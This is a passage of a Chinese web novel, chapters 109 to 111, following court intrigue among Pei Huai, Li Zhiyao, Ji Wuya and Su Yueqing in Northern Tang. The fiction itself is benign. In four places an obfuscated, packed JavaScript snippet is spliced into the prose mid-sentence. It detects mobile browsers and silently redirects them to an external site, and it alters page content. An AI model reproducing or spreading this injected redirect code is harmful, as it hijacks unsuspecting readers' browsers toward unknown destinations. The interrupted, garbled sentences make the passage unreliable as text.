“我这人向来睚眦必报,斤斤计较,小肚鸡肠,毒妇做派。”李之夭回击地也毫不客气,“倒是跟你一样,不过一面,后面就彼此斗得两败俱伤。” 裴淮笑出声,饶有兴趣地看向李之夭身后,跟另外一人说话,“你都听到了吧,你前主子要杀你。” 纪无涯咳嗽两声,雪虚扶着他,听到李之夭这么说心中气愤不已,当即怒斥:“你这个没良心的,得亏师兄之前这么帮你,你就是小人!” 码完还觉得不够解气,飞身上前赤手空拳就要教训李之夭,藏在暗处的踏雪现身同她缠斗在一起。 杨刻看着雪的招式,只觉招招跟当初在大魏城南遇到的小魔头相似,身法相似,身形相似,就连声音都差不多,除了脸不一样,其他的都对上了。 当日场景浮现,杨刻不由打了个寒颤,裴淮瞧出他的不正常,压低声音问,“可是有不对劲?” “主子,在大魏京城寻找琉璃珠的当晚,我和几名兄弟本该拿到了,最后却冒出一个十二岁的小魔头出来搅局,属下看雪的身形和招式都跟当初那人一样!” 裴淮冷冽地盯着雪,纪无涯察觉裴淮和杨刻的神色变了,且他们嘀嘀咕咕听不到在说什么,他也意识到当日城南的事在今日似乎引起杨刻怀疑。 “阿雪,住手。” 李之夭也察觉纪无涯声音里的不正常,当即示意踏雪带着自己和时雨离开,然后雪却不依不挠。 纪无涯只得出手假意帮雪跟踏雪过招,然后飞鸿恰好出来,控制力道给纪无涯打了一掌,让他们看似占不着便宜。 然后飞鸿的一掌,纪无涯的身体不比从前,根本挨不住,一下便口吐鲜血,面色瞬间白了。 雪见状也顾不得去追四人,着急奔向纪无涯,“师兄!” 裴淮也上前关切询问,“十三你没事吧?” 纪无涯拭去唇边血迹,摇摇头说没事。 经过李之夭这么一闹,不光裴承泽知道了,就连宫里的安庆帝也知道了。 裴承泽自然清楚李之夭想干什么,她是看透了自己的伎俩,想给他个提醒,他此时在宫里的万华殿中,跟他的生母在交谈。 裴承泽的生母是贵妃,家中父兄手握兵权,又得皇帝喜爱。 “李之夭除了这么做,我想她还有别的目的,至于是什么目的,儿臣暂时猜不到。” 贵妃叹了口气,“你们如今尚未成婚,母妃为你争取出使的名额,原本就是想让你身后站个大魏,如今线报传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686205|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来说大魏幕阜关日日练兵,兵不解甲,手不离枪,恐怕事情已超出你我想象了。” “说来也怪,按理说人送到秦立山就该走了,可这些天都不见他们想离开的意思,说是想看着公主出嫁,他们大魏对一个前朝公主是否过于紧张了?” 贵妃扶额,“你若现在想从夺嫡的斗争中抽出身来,或许往后还有生机,眼下裴淮跟皇上关系恶化,只怕是后面腥风血雨免不了,裴淮跟李之夭两人之间似有旧怨,你娶她一事,可要考虑好,这些年明哲保身尘埃未定不能毁于一旦。” 裴承泽沉默半晌,也在考虑这番话,最后仰起头笑了笑,“母妃说的话,儿臣都记下了。” * 安庆帝将手中的奏折仍桌上,有些好笑的看向旁边的内侍总管,“宿宁公主跟璃王之间有旧怨,你说日后若储君登基,会不会影响到跟大魏之间的和平?” 内侍总管眼珠动了动,恭维讨笑道:“这未来的事奴才也不敢擅自揣测,将来江山在谁手中,不是皇上您做主。” “宿宁公主跟裴淮之间的旧怨,孤也略有耳闻,他当初刺杀清武帝不成,反倒被人打成重伤,此事那边一直等着想要个交代,璃王到底是个在外长大的孩子,哪怕从小文韬武略,现在回来发孤总觉得他不如小时惹人欢心,但纵观孤膝下九名皇子,原本老三裴执还是个乖巧的,但他私自潜入大魏,其心可想而知,封他做个原地的侯爵,终身不得离开封地,也算给清武帝一个交代,至于璃王那边,你等晚上的时候传孤旨意,想要苏月清还是王位,让他选一个吧。” 是夜,内侍总管带着旨意抵达璃王的府时候,刚跨门就闻到一股药味儿。 他一路走到书房敲门进去,从袖中取出两样东西,一块安庆帝随身的令牌,一盒胭脂。 “这是何意?”裴淮微微皱眉。 “殿下,皇上说了,江山还是美人,二者选其一,让你好好考虑考虑,考虑好了,后日五殿下大婚再做答复。” 说完便退下了,裴淮也没挽留,只是怔怔看着放在桌上的东西,随手拿起来瞧了瞧,跟一旁的杨刻道:“父皇这是在逼我。” “主子,皇上还是在乎你的,这件事就不能再跟皇上商量下么。” 裴淮摇头:“要是同意,就不会这么逼我,清清没有对不起我,说到底是我对不起她。” 烛火摇曳,夜里微风徐徐,苏月清躺在床上望着窗外发呆。 沅露靠在窗前,冲她微微挑眉,“宫里的人走了。” 苏月清微微垂下眉,心不在焉,“你知他们说了什么吗?” “不知,但不难猜出跟你有关。” “师父如今留给我的暗棋不多了,沅露,你来找我,蓝素衣知道吗?” 沅露笑了笑,如实回答:“知道,但我不算站在你身边的人,我如今找你,只是想提醒你一句,你师父当年并未救我的命,只是收留了我,所以我只答应你一个要求,除了背叛缘楼,要求你可得想好了再提,你跟裴淮,不合适。” 109. 天命 第109章 裴淮走进书房合上门,他站在阴影中想到白日李之夭说的话,拳头攥紧,他往前走了几步,摆在桌上的令牌和胭脂瞬间刺痛他的双眼。 他几乎是踉跄的走上前握住物件,瞬间瘫坐在地上。 “父皇……” 双手用力发紧,“父皇为何你要如此逼我!” 裴淮苦笑出声,随即又想到这段时间裴承泽总往驿馆跑,“李之夭,都是你,都怪你!” 他将手里的令牌和胭脂一起丢出去,砸在门框上咚的一声,“你为什么要跟我作对!” “璃王殿下,安庆帝如此待你,为何不反了呢?”蓝素衣慢悠悠从黑暗中走出,裴淮瞬间正色,惊讶地瞪着她。 “你什么时候进来的?” 蓝素衣将令牌和胭脂捡起来,“在你之前。” “你来干什么?” 裴淮声音低沉,隐隐染着一层戾气。 “我来找安庆帝,告诉他关在缘楼的人死了,这样缘楼跟你们北唐的联系是断了。”她将东西放在桌上,“至于缘楼跟你?我虽身为楼主,你当初在大魏救过我,我还你一个恩情,恩情没了,日后可莫要再攀扯我们缘楼。” 裴淮从地上站起来,理了理衣摆,蓝素衣紧接他开口之前再次说道,“不过你得把纪无涯还我们,他对我和沅露避而不见,也只有你能叫得动他,你私藏我缘楼的通缉犯,也说不过去。” “他是纳多族邀月的后人,我身为纳多族人,他的职责就是该守护纳多。” 当初苏月清就说过纪无涯体内是邀月毒,自从他知道自己的身份后,特意去查了关于云州纳多族,邀月一毒只会存在纳多族的邀月使身上。 他跟纪无涯都是同族,难怪自己从前总觉得纪无涯是他的人,这种感觉竟是出自同族之间的羁绊。 “为守护而生,如今大业未成,他如何离开?”裴淮语气压了压,“况且,清清能帮他稳住邀月毒,离开我,他简直就是去送死,你是没看见,纪无涯头发三分之一都白了,你们缘楼竟如此不讲情面,我们都是合作关系,一家人何必打打杀杀。” 蓝素衣重点只在纪无涯头发三分之一都白了,她神色闪过一丝担忧很快又恢复正常。 “这关我何事,他是你们纳多族的人,又与我缘楼无关,缘楼向来讲究章法,规矩严明,若带不回纪无涯,难以服众啊。” 她一挥衣袖,负手出门,回头,“给你几天的时间考虑。” 今晚不止又蓝素衣进来了,还有别人也一块进了璃王府,怕是大婚在即,有些人怕尘埃落定,一向未曾立储的北唐,会在不久将来决定未来的王。 安庆帝年轻时登基,在位二十二年,如今不过才四十四岁,还正是身强体壮的时候,但膝下皇子年岁渐长,若再选不出一人协同监国,怕是会走上燕国那样的老路。 “主子,这接下来该怎么办?”杨刻从门外走进来,方才的谈话,两人都没刻意压低声音,他在外面听得一清二楚,“如今主子若选择江山,就会失去苏姑娘,若选苏姑娘,那么就不能为娘娘正名,否则她的存在永远都是污点。” “你也同意反了?” 杨刻立马抱拳跪下,“属下义无反顾,全听主子做主!” 裴淮立马摇头说不,“不行,此事过于冒险,你容我再想想,纪无涯投奔我们之时,给的钱财,你这就吩咐下去,暗中招兵买马,若真到了那一天,才能与之匹敌。” 他在原地踱步,蓝素衣过来这么一出,并非是真心与他合作,这群江湖人看上去将道义,实际算盘算得比谁还清。 甚至能感觉到今晚不止她一人,却个个都藏在暗处。 他静心感受了一下周围,四周并无异常气息才定下心来,若是此时混进安庆帝的人,又要平地起波澜。 “杨刻,你白日不是怀疑雪就是抢琉璃珠的人么,你趁现在去试探一二,若她是抢琉璃珠的人,此人必不能留。” 屋檐上的瓦片缝隙慢慢合上,一双窥视许久的眼睛终于离开。 雪坐在屋顶上,她想了片刻,决定赶紧离开去找师兄。 本是瞧见楼主进了屋子,她一时好奇才跟了过来,没想到竟听到裴淮想试探自己。 她把听到的全部事写下来给纪无涯看。 纪无涯:“今晚你觉得混进来有多少人?” 雪写到:楼主和二师姐,还有麻烦公主身边的两名暗卫,以及两名不知是何来路的黑衣人,二师姐和两名黑衣人朝着苏月清的屋子去了,麻烦公主的人一直藏在暗处不知在等什么。 “放心,今晚杨刻想试探的目的是不能了,但日后你记得千万不再暴露自己的路数。” 说着外头忽然乱了起来。 “抓刺客!” “抓刺客!” 管教敲着铜锣大声满院子乱窜就连杨刻都被吸引过去。 趁着混乱,飞鸿去到无人的书房,按照李之夭的指示,找到裴淮的密室,他进去首先确认了一盘已经发霉梆硬的糕点在里面,以及北唐的都城大小官员的关系图,关系图上赫然有几个红色笔墨画出来的叉,其中就苏祁的名字。 飞鸿将从密室里拿出来的一根挂有‘苏’字的小名牌的红绳挂在开启的机关上,踏雪扛着晕过去的苏月清进来,将她放在书架下,若苏月清不蠢,看到露出半截的红绳,会拿出来看看。 杨刻冲到苏月清的屋子,只见一名黑衣人晕倒在地,苏月清不知所踪。 他将人捆起来,押到璃王府的私牢里,裴淮随之赶来。 清醒过来的黑衣人守不住酷刑,最终吞毒自尽。 而裴淮在他们里面的衣衫里找到了只有安庆帝手底下的暗卫才会用的腰带条纹。 他怔在原地,攥紧腰带,双目发红,字字狠戾,“杨刻,父皇这是要把我往绝路上逼啊!” 青鸢走进来,“主子,苏姑娘找到了。” 裴淮茫然回头,“在哪找到的?” 青鸢有些为难,思索后道:“苏姑娘被人追杀至您的书房,误打误撞进了密室,剩下的一名刺客已伏,她现在还在密室里。” 裴淮瞬间想到密室里的东西,他惊慌失措往书房走,走进密室就瞧见苏月清手里拿着画卷,地上躺着都发霉坚硬的糕点,还有碎了的盘子。 裴淮刚想上前,苏月清就拿匕首抵住自己的脖子,她目光发狠,“裴淮,你怎么敢的?” “清清,你听我解释。” 他现在的声音颤抖,心里发慌,只求苏月清什么都不要想起来,什么都不要想起来。 “解释 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711465|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?你现在的话让我分不清是真还是假。”苏月清指着地上的糕点,“我什么都想起来了,裴淮,我跟你总角相识,虽中间分别,但你我之间也算青梅竹马,两小无猜,你却利用我,现在还想歪曲事实。” 她神色冷了冷,“皇上给你送来的令牌和胭脂,你不是一直都没选么,如今我帮你选,你要你的王权,你求你的富贵,往后我们互不相干。” 苏月清说完就往密室外走,裴淮追上去,一记手刀将她打晕,“青鸢,把她送回房间去,锁起来,没我的命令,她不许离开房间半步,门窗都给我看好了。” 若不是安庆帝派人来刺杀苏月清,她就不会发现那间密室。 裴淮觉得心好累,事情永远都差一步,他本想趁事忙完,就把这些东西全都毁掉,这样苏月清永远都不会发现,可偏偏就在他事情快要成功的时候,冥冥之中好似有一双手,把他的计划全都打乱。 他不想跟苏月清分道扬镳,他不想他们走到不可挽回的地步! 裴淮目光阴鸷,最后气急败坏地掀翻了案上的全部东西,稀里哗啦的全都碎了一地。 为什么! 为什么! “为什么所有事情总是就差一步!”他双目猩红,“就差一步!父皇逼我,清清也要离开我,凭什么,苦心经营多年,今晚毁于一旦。” 脑子里快速闪过什么东西,快到他抓不住,最后只捕捉到了一句话。 ——裴淮是这个世界的天命之子,箴言在身,必将三元归一,一统山河。 “天命之子。”春夏看完李之夭写在纸上的话,“难不成那箴言是真的?” “是也不是。”李之夭推开窗,她虽然在驿馆,闭上眼睛,似乎就能想象到今晚璃王府的混乱。 书中却有苏月清阴差阳错发现裴淮是构陷苏家的帮凶,当年的事情虽是安庆帝主导,他留不下苏家,但裴淮在其中也出了不少力。 调换了有毒的糕点,以命相博,后来苏家就以暗中勾结藩王谋反,谋害皇嗣,全家都落到斩首示众的下场,得亏苏祁老奸巨猾,在藩王谋反开始,便着手变卖家产,暗中打点,在裴淮中毒消息一出,全家立即撤离出都城北上。 只是最后他们刚到大魏,当年大魏政治混乱,冗官冗员,四处都是吃不饱的百姓,在路上遇上山匪,苏月清的爹娘就死在山匪刀下,最后是宋庆救了她,收做养女,经此一役,受了刺激才失去记忆。 后来成了神医的关门弟子,十七岁下山归家,二十一岁进大魏皇宫,遇裴淮。 裴淮当年中毒,那时他已破例为王,封号璃,兵荒马乱之际,他将糕点和部分证据藏在了密室中,等风波平息就将其处理掉。 后来他没等到消除证据,就被人谋害,在狩猎中失踪了,顺着黄水,流落到大魏境内,如今他刚回来不足一月,证据自然来不及清理。 “天命虽在,人却是自由的,只要有心,人定胜天。” 李之夭弯眼,眼瞳宛如秋水,瞧着在站在树下的纪无涯。 苏月清发现与否都是必然,她不过是推波助澜,加剧苏月清发现时机,然后另外两名刺客,确实是安庆帝派来的,她帮裴淮尽早发现安庆帝的面目,让他们父子分崩离析,再无修复的可能。 她晃了晃手里的下月集。 110. 见你 第110章 李之夭将下月集上卷递给纪无涯,他望着书面愣神许久,眼底沉寂的死水终于泛起一丝涟漪,他想伸手触碰下月集,犹豫半晌又缩回手,像个孩子手足无措地站在原地。 “你是怎么找到的?” 下月集他苦寻许久一直未曾有过音讯,就连最近知道下卷在大魏皇宫之时,还是通过封先才明了。 上卷就这么猝不及防的出现杂眼前,当时飞鸿跟他说上卷已经找到的话都觉得难以置信,现在更显做梦。 李之夭在纸上写到:我没跟任何人做任何交易,上卷说来也巧,凤山之时便已在我手里,只不过它混在古籍中,和亲前盘查时我也才知此事。 越是这样,越是难以安心。 讲求交换,商人重利,若她交换了条件,那么他满足要求尚且来得安心。 什么条件都没有,他想帮忙都不知从何下手。 况且傍晚飞鸿来找他的时候,提了下月集的事,意思很明白,李之夭想拿下月集跟他谈条件。 现在知道下月集在谁手里,自从知道头发白了以后,他忽然对下月集不再执着,毕竟苏月清和封先都说过,他就算毒解了,也不会长寿。 生命短暂,他孑然一身,无牵无挂,哪怕就这样不存在于天地,谁都不会记得。 守着一条命,若是未能完成心愿,又该是遗憾一生。 下月集,自己拼命寻找的时候不见踪影,但有一日他对此物不再执着,却出现了。 纪无涯淡淡笑道:“你留着吧,若有朝一日,我改了主意,再跟你讨价还价。” 李之夭原先准备好的说辞全都写在了纸上,听他这么说有点反应不过来。 纸上写着劝说的话语,亦或是谈判的筹码和条件,全都准备好,她也根据纪无涯的性格猜测好几种可能,现在这种情况完全出乎意料。 她接过时雨递来的纸笔:你不要下月集你来找我作甚? 纪无涯靠在树干上,视线一直在李之身上,“你可找到解毒的线索?” 李之夭摇头。 下月集在手里研究好长时间,字里行间始终没发现初帝是怎么解体内的邀月毒,就连下卷的《大若心经》都是初帝自己结合纳多族和他闯荡江湖的经历编写的一首修心咒。。 整日翻看两本书,李之夭都会背了,仍然不知下月集中有何线索。 “李之夭。”纪无涯一副果然如此的表情,“你若知道线索,是会把解药直接摆在我眼前的性子,你这么聪明的人看了这么久的下月集,依旧给我一本下月集,下月集能解毒或许只会是传言。” 他话里的意思,他不在乎,不想要了。 不要了。 李之夭出声解释,着急、不知所措、语无伦次的:“不是的,不是的,这里面初帝确实提到他体内邀月毒复发,然后解了的事,也没传到下一代子孙,所以一定有线索的!” 月色下的少年头发又白了许多,整个人显得憔悴,依旧云淡风轻的模样。 少年走出树下,站在窗棂前,眉眼缱绻,话语如丝。 “今晚不知怎么的,就是想来见你一面,不是为下月集,是想见你。” 现在尘世,对他来说,很安静,除了自己,什么都听不到 风吹拂,草微动,桥边的叫卖吆喝,马蹄踏踏,庭院中的护花铃,木牌碰撞声声清脆。 什么都没有了。 李之夭愣在原地,这句话让她本就慌乱的大脑瞬间炸开成一锅粥,手里的纸笔落在地上,墨迹晕染在白纸上,落下几点黑色的墨迹。 片刻,仿佛自己也听不到了,除了一片弦音。 纪无涯踏月而来,又乘月而去,来去匆匆。 虽料到纪无涯今晚回来找自己,因为飞鸿传达下月集的消息,所以于情于理他都回来,至少李之夭仍为他会提出别的条件来跟她交换下月集,所以早就把下月集准备好了。 但今晚的纪无涯拧巴,最后丢下一句让人面红耳赤的话,自己跟没事人一样潇洒离开,剩她独自在窗前心猿意马。 后半夜,李之夭翻来覆去的总是睡不着,满脑子都是纪无涯的那句话‘今晚不知怎么的,就是想来见你一面’,搅得她辗转反侧,把头埋在被子里嚎叫一声。 最后实在憋得喘不过气,坐起来,一想到那句话,李之夭顿时又心跳加速,双颊滚烫。 “烦死了!” 李之夭再次躺下,天将将亮起的时候,她终于快要睡着,一睡便睡到中午。 吃完饭,耿进才进来汇报,“主子,五皇子又来了,说要邀你去骑马。” 小二咋舌,“不是刚被骂过没多久,怎么又眼巴巴凑上来了。” 耿进才:“他说想跟主子道歉,并且这次不会有什么意外,因为璃王他府里似乎出事了,顾及不到我们。” 金三娘也不高兴:“这和亲都是无奈之举,他还真把自己当盘菜了。” 李之夭叹了口气,心里全是昨晚纪无涯说的话,接连叹了好几口气,春夏晃了晃她的肩膀,她才回神,“啊?什么?” 耿进才又重复了一遍,李之夭现在迫切想要转移自己的注意力,于是也就答应了,跟裴承泽下午去骑马。 但是骑马的时候,又忍不住想起跟纪无涯帮她牵马的时候,玩了两个时辰,临近冬日,天暗得比较早,他们回去,裴承泽又邀请李之夭去茶楼听戏喝茶。 而他们这一切,全都落在纪无涯眼里,他拍了拍自己的头。 中午本想出来散散步,如今裴淮忙着哄苏月清,两个人从早吵到晚,时不时又会发出点别的动静,就连杨刻和青鸢还有管家都自觉避开苏月清的院子。 甚至昨晚他回来,雪跑着过来跟他说看到裴淮和苏月清在院子里亲吻,一脸天真问他这是不是强制爱的时候,纪无涯觉得这段时间璃王府确实不能再待下去了。 把雪安排在外面的客栈住起来,他刻意绕开苏月清和裴淮的活动范围。 做完的话说出来他又后悔了,这样听起来自己有些不负责。 他也顺利的失眠到早上才睡着,谁知出门时正好撞上骑在马上跟裴承泽谈笑的李之夭。 心情庆幸又失落。 庆幸李之夭并未把他放在心上。 失落李之夭心里真的没有他。 不知不觉远远地跟了他们一路,从马场跟到茶楼。 纪无涯意识到自己的行为出格后狼狈地逃了。 但是第二日,出门又绕路去了驿馆门口,然后看到了裴承泽的马车。 他这么闲的么,后日就要成亲了,还有心情来哄姑娘。 今日李之夭他们去了酒楼品酒,雪跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725770|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在他身边看了半天,纪无涯转过头对她道:“你小孩子不准喝酒。” 随后又嘀嘀咕咕,“今日怎么还来喝酒了?” 他们在角落离距离李之夭隔着莫约有七桌的距离,白日酒楼人也多,第一层嘈杂,纪无涯听不见,只得让雪来听听然后写给他看,省得自己一天到晚脑补。 “他们说了什么?” 雪也没想到有朝一日,自己的武功还能这么用,但还是老老实实写下来:麻烦公主说婚宴准备得怎么样了?五皇子说府中和他母妃都在筹备,一切东西全都是他过目的,跟她出来玩不会耽误。 纪无涯神色沉了沉,雪听了继续写道:麻烦公主说何必这么亲力亲为,五皇子说因为他不想怠慢。 后面雪越写纪无涯心情越压抑,最后他把酒当水多喝了好几壶。 最后又跟着李之夭他们去戏楼听唱曲儿。 唱曲的戏子劝酒,纪无涯为了不暴露又多喝好几杯。 月上树梢时,人也散场。 他在路边抱着一只桶吐了半天,雪麻木地杵在旁边,拍着纪无涯的后背。 反正想着他也听不到,自己碎碎念吐槽:“师兄啊师兄,你说你这是何必呢,苏月清和裴淮两个人你都看到了,今天裴淮想亲苏月清还挨了她一个大.逼.斗,你要是喜欢麻烦公主,你就直接跟她说去,跟人家一天,若是不认识,指不定以为你是流氓,死鸭子嘴硬,要是不行,就按我上次说的,强制爱,强制爱好啊,你只能是我的,必须要留在我身边,不过师兄,你要是爱了,岂不就是耽误麻烦公主了,你职业都不正经,位份不高,你要真想娶,我看还得是麻烦公主娶你,不行不行,你还是单着吧。” 雪递给他一壶水,让纪无涯漱口:“师兄,下月集你不要,你拧巴什么呢,难不成你真不想活了?麻烦公主这么帮你,你要真觉得过意不去,你以身相许也不是不行,是吧,一时半会还不完,一辈子总能还完了,你们这些大人的情情爱爱怎么这么麻烦。” 纪无涯站直身子,她果断闭上了嘴。 雪跟着纪无涯两天,纪无涯跟着李之夭三天,无时无刻都瞧见李之夭和裴承泽言笑晏晏,一起游街戏马,茶楼吃茶,酒楼品酒,听书唱戏。 他越是想表现得自己不在乎,越是困难。 直到最后雪提醒他:师兄,明日就是麻烦公主出嫁了。 纪无涯才恍然大悟,果然又翻墙走了去找李之夭。 翻墙进驿馆庭院时,李之夭靠在窗前,听见动静回头。 纪无涯顾不上其他,他今晚只想要个答案:“你真想嫁裴承泽?” 今晚庭院静悄悄,只有他们二人四目相望。 李之夭在纸上写到——箭在弦上,不得不发。 末了她又补充:我不想嫁。 纪无涯神色忽然松了下来,只要有她这句话,先前他的心里的百般纠结,和困住他使得他焦躁不安的心情,瞬间都消散了,又忍不住感慨之前自己的幼稚,竟会因李之夭对裴承的逢场作戏失了分寸。 同时他也在此时认清了自己的心,原本准备好的一大段说辞,此时完全都用不上了。 他定定凝望在窗前的姑娘,烛火照得她眉眼融融。 浓浓的夜色中,异国他乡里。 他喜欢她。 纪无涯喜欢李之夭。 111. 接受 第111章 今夜杨刻又鬼鬼祟祟出了璃王府。 雪守在附近跟了上去。 前两日杨刻和青鸢暗中将纪无涯带来的钱财全都运出了璃王府,买通守城士兵,趁夜出城,跟了半天马车已出青城,她才折返回去。 今日跟着杨刻他走进一间民舍中,里面灯火通明,窗户纸上印着人影,已经等了莫约四五个人。 雪藏屋顶上,屏息凝神,静静听着屋檐下他们的谈话。 除了封先,在缘楼她耳力也是极好的,只听下面的人围在一起,书生打扮的男人率先发问:“杨兄弟,璃王打算在何时动手?” 杨刻望向他,“兵马的事可有想好如何解决?” 书生道:“璃王殿下给的时间紧迫,古往今来做此等大事的人无一不是韬光养晦,没个三五七载是不成,期限一个月的实在头次听闻,招兵买马一天下来报名的不足十个,马匹更是稀缺,我们也很难办。” 书生说完其余几人一块附和起来。 倒是有一人却站正了身子,神色得意,他身宽体胖,“我一日时间倒是收获可观。” 其余几人立马瞪大眼睛目不斜视,杨刻也被他提起了兴趣,“你是如何做的?” 胖男人骄傲道:“我上山招揽土匪流寇,一日下来,已有三个山寨愿意归顺,足足有百人,只是他们见钱眼开,要跟我们分利,我付了一半的钱给他们,说日后事成,再将剩下的钱补齐,有功者我届时举荐,能封侯拜相,找个官当当,那些土匪流寇顿时就乐了,拍着胸脯说都是自己人,随后集结在一块,我已让人着手训练。” 说完他身旁尖嘴猴腮的男子瞬间竖起大拇指,“此计甚妙,那些可比平头百姓强多了,加以训练定是我们主力。” 胖男人嘿嘿笑了起来,杨刻点头说好,“大家就按他的办法去办,除了招揽山匪流寇,普通人也不要忘记招揽,一个月内,凑足三万人马定不在话下。” 雪听完他们的密谋,回到璃王府去找纪无涯,发现人并不在府中,离开去了驿馆。 到驿馆门口刚好撞上出来的纪无涯。 他神色有些不自然,今晚看到李之夭的时候,他瞬间想明白了这段时间的烦闷缘由为何,更是待不下去,也不敢直视李之夭,只得匆匆撇下一句话就狼狈离开。 现在看到雪,心情未定。 雪拿出在路上写好的话递给纪无涯看:裴淮意图谋反,正招兵买马,招揽土匪流寇。 纪无涯心头的火瞬间冷了下来,前世裴淮也曾招兵买马,不过并非为了谋反,而是为了攻打大魏。 土匪和流寇起初并不配合军中的训练,军营里整日闹得慌,三天两头就打架吵架,还有人要退出离开的,后来是苏月清出手安抚了这群人,稳定军心,最后上下一心。 才有得跟大魏一战。 但没想到大魏的秦立山战力强大,几次三番将北唐军打得节节战败,也是他当时临危受命,接下了裴淮想要火烧大魏粮草,刺杀秦立山的任务。 任务的最后他跟秦立山同归于尽,北唐士气受到鼓舞,一举拿下大魏京城,清武帝跳进熔炉殉国,那是北唐二十二年的除夕前。 这一世裴淮招兵买马的时间竟然提前了一个月。 十一月的中旬,北唐的风已开始变冷,日头时好时不好的。 假若时间提前了,那么他的寿命终止是否也会提前? 纪无涯心绪杂乱,下月集就在眼前,却又庆幸自己方才没轻易将这份感情说出口,平白无故惹人烦。 却是不甘心的,又不觉遗憾。 过了几个晚上的时间,他倒是想明白了一件事。 他还是想活着。 明日十六,他记得前世的今天,是个晴天。 夜深犬吠,纪无涯和雪走在灯火阑珊的临水小道上,也是李之夭出嫁的日子。 蓝素衣和沅露挡住了他们的去路。 雪立马戒备挡在纪无涯跟前。 纪无涯此时的发已从前马尾挽起,裹成丸子头,用一根木簪别着,额前细细碎碎的发也夹杂些许藏不住的白。 沅露不可思议地打量纪无涯,“怎么会变成这样?” 他们不过几月没见,原来风华正茂的少年,却变成这副模样。 蓝素衣上前扣住纪无涯的脉搏,雪刚想动手,她出声道:“虽说你拜入缘楼不久,但我也算你半个长辈,我不会对他怎样。” 把脉结束,饶是蓝素衣也稳不住情绪,“你离开缘楼那日脉象都还正常,怎么今日就落到这副田地?” 缘楼会通缉追杀自己,这件事的原由纪无涯自己也想得明白,纪无涯听不见她们说的话,也不能表现出来,通过一知半解的唇语和神态揣测她们的问题,避重就轻的同她们讲话。 “这段时间多谢你们了,若非缘楼对我下了通缉令,恐怕追杀我的人早就来了好几拨。” 做法看上去是绝情,实则是保护。 蓝素衣跟沅露对视一眼,沅露道:“你如今的情况,可曾想过会死?” 纪无涯答非所问:“楼主,缘楼纳多想让我为少主一事,是否算数?” 疑问顿时让她们来了精神,雪扯了扯纪无涯的衣摆,有些担忧,纪无涯对她投去安心的眼神,“我已有救命的办法,我不想平白无故占人家便宜,至少得拿件值得交换的事才有资格去接受这份恩情,我想活下来,我愿做你们的少主,但往后缘楼也得听我调遣做主。” 蓝素衣和沅露抱拳单膝跪下,“单凭少主差遣。” “我既然答应下来,也不会不顾缘楼子弟生命安危,我会对他们负责的。” 手中握有一方势力,往后才能护她安危。 纪无涯话音一转,“前些日子,你们二位进了璃王府,是为何故?” 蓝素衣:“我和沅露跟裴淮和苏月清有些旧缘,本想接他们的手帮我们抓住少主你带回缘楼的,早知今日当初我们就不会去找他们了。” 蓝素衣说这话的时候神色踌躇,语速也不快,纪无涯也猜到些。 前世裴淮身边也少不了缘楼的助力,不过当时缘楼是站在苏月清那边,由四大长老住持,裴淮在明,苏月清在暗。 现在他若是接管缘楼,就能将缘楼从这场风波中摘出去。 当初缘楼在背地里做了不少事,后面裴淮顺利成为储君,协理朝政,后面举全国之力攻打大魏。 这个节点差不多也是裴淮和苏月清闹矛盾的时候,但这时李之夭虽然活着,却生不如死,囚禁大魏的牢房里,疯疯癫癫。 裴淮出兵之时,苏月清又返回大魏,在冬天初雪落下之际,李之夭死在了苏月清手里。 当日,征战的号角吹响,李之夭满心的想要复国,却再也等不到回到燕国的日子了。 现在李之夭活得好好的,甚至有了搅动乾坤的能力,不会再走上从前的命运。 她不会,他也不会。 “我要你们暗中召集些人手,帮我办件事。” 藏在暗处的探子准备想再凑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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生怕李之夭不相信,纪无涯将掌门令牌拿出来晃了晃。 “所以你们大费周章之前搞这个大动静,原来是雷声大雨点小,保护他为何要追杀?” 沅露微微颔首:“只有自己人才知道下手轻重,旁人可就不一样。” 蓝素衣道:“少主心中自有主张,我们也不干涉,宿宁公主,我们缘楼还有别的事,先走一步了,为了一个人,你今晚这阵仗未免有些兴师动众了。” 李之夭闻言看了一圈周围的人,还把秦立山也喊了出来。 到最后什么都没成,确实是兴师动众了。 也怪纪无涯,莫名其妙跑过来问了一句莫名其妙的问题,然后又魂不守舍的跑了,飞鸿过来说看到有培海的人在外面守着,正好又被纪无涯和雪碰上了。 